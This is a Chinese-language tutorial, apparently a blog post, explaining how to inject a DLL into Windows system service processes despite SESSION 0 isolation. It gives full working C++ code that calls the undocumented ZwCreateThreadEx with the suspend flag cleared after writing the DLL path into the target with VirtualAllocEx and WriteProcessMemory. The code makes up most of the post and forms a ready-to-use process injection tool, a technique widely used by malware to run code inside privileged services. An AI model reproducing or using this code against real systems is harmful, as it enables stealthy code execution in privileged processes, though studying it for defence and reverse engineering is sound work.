突破SESSION 0隔离的远程线程注入
前言:
之前提到,由于SESSION 0隔离机制,导致传统远程线程注入系统服务进程失败。经过前人的不断逆向探索,发现直接调用 ZwCreateThreadEx 函数将其第7个参数 CreateSuspended(CreateThreadFlags)的值置为零可以进行远程线程注入,还可以突破 SESSION 0隔离,成功注入。
实现原理:
与传统的CreateRemoteThread函数实现的远线程注入DLL的唯一区别在于,突破SESSION 0远线程注入技术是使用比CreateRemoteThread函数更为底层的ZwCreateThreadEx函数来创建远线程,CreateRemoteThread 之所以注入失败,是因为引入了会话隔离机制。该机制使得其创建一个进程之后并不会立即运行,而是先挂起进程,在查看要运行的进程所在的会话层之后再决定是否恢复进程运行。跟踪发现 CreateRemoteThread 函数 ,发现内部调用 ZwCreateThreadEx 函数创建远程线程的时候,第七个参数 CreateSuspended(CreateThreadFlags)值为1,它会导致线程创建完成后一直挂起无法恢复运行,这就是为什么DLL注入失败的原因。所以,要想使系统服务进程远线程注入成功,只需要直接调用ZwCreateThreadEx函数,将第七个参数CreateSuspended(CreateThreadFlags)的值置为零,这样线程创建完成后就会恢复运行,成功注入。
注意:由于 ZwCreateThreadEx 在 ntdll.dll并没有声明,所以需要自己声明函数原型,并使用 GetProcAddress 从 ntdll.dll 中获取该函数的导出地址。而64位与32位系统下,ZwCreateThreadEx函数原型不一样。
由于会话隔离,系统服务程序不能显示程序窗体,所以并不会因为MessageBox弹窗。也不能用常规方式创建用户进程。为了解决服务层和用户层的交互问题,微软专门提供了一系列以WTS(Windows Terminal Service)开头的函数来实现这些功能。
//64位系统下 DWORD WINAPI ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown ); //32位系统下 DWORD WINAPI ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown );
实现代码:
BOOL CInjectDlg::ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pszDllFileName) { // 1.打开目标进程 HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, // 打开权限 FALSE, // 是否继承 dwProcessId); // 进程PID if (NULL == hProcess) { MessageBox(L"打开目标进程失败!"); return FALSE; } // 2.在目标进程中申请空间 LPVOID lpPathAddr = VirtualAllocEx( hProcess, // 目标进程句柄 0, // 指定申请地址 strlen(pszDllFileName) + 1, // 申请空间大小 MEM_RESERVE | MEM_COMMIT, // 内存的状态 PAGE_READWRITE); // 内存属性 if (NULL == lpPathAddr) { MessageBox(L"在目标进程中申请空间失败!"); CloseHandle(hProcess); return FALSE; } // 3.在目标进程中写入Dll路径 if (FALSE == WriteProcessMemory( hProcess, // 目标进程句柄 lpPathAddr, // 目标进程地址 pszDllFileName, // 写入的缓冲区 strlen(pszDllFileName) + 1, // 缓冲区大小 NULL)) // 实际写入大小 { MessageBox(L"目标进程中写入Dll路径失败!"); CloseHandle(hProcess); return FALSE; } //4.加载ntdll.dll HMODULE hNtdll = LoadLibrary(L"ntdll.dll"); if (NULL == hNtdll) { MessageBox(L"加载ntdll.dll失败!"); CloseHandle(hProcess); return FALSE; } //5.获取LoadLibraryA的函数地址 //FARPROC可以自适应32位与64位 FARPROC pFuncProcAddr = GetProcAddress(GetModuleHandle((LPCWSTR)L"kernel32.dll"), "LoadLibraryA"); if (NULL == pFuncProcAddr) { MessageBox(L"获取LoadLibrary函数地址失败!"); CloseHandle(hProcess); return FALSE; } //6.获取ZwCreateThreadEx函数地址,该函数在32位与64位下原型不同 //_WIN64用来判断编译环境 ,_WIN32用来判断是否是Windows系统 #ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown ); #else typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown ); #endif typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtdll, "ZwCreateThreadEx"); if (NULL == ZwCreateThreadEx) { MessageBox(L"获取ZwCreateThreadEx函数地址失败!"); CloseHandle(hProcess); return FALSE; } //7.在目标进程中创建线程 HANDLE hRemoteThread = NULL; DWORD dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, lpPathAddr, 0, 0, 0, 0, NULL); if (NULL == hRemoteThread) { MessageBox(L"目标进程中创建线程失败!"); CloseHandle(hProcess); return FALSE; } // 8.等待线程结束 WaitForSingleObject(hRemoteThread, -1); // 9.清理环境 VirtualFreeEx(hProcess, lpPathAddr, 0, MEM_RELEASE); CloseHandle(hRemoteThread); CloseHandle(hProcess); FreeLibrary(hNtdll); return TRUE; }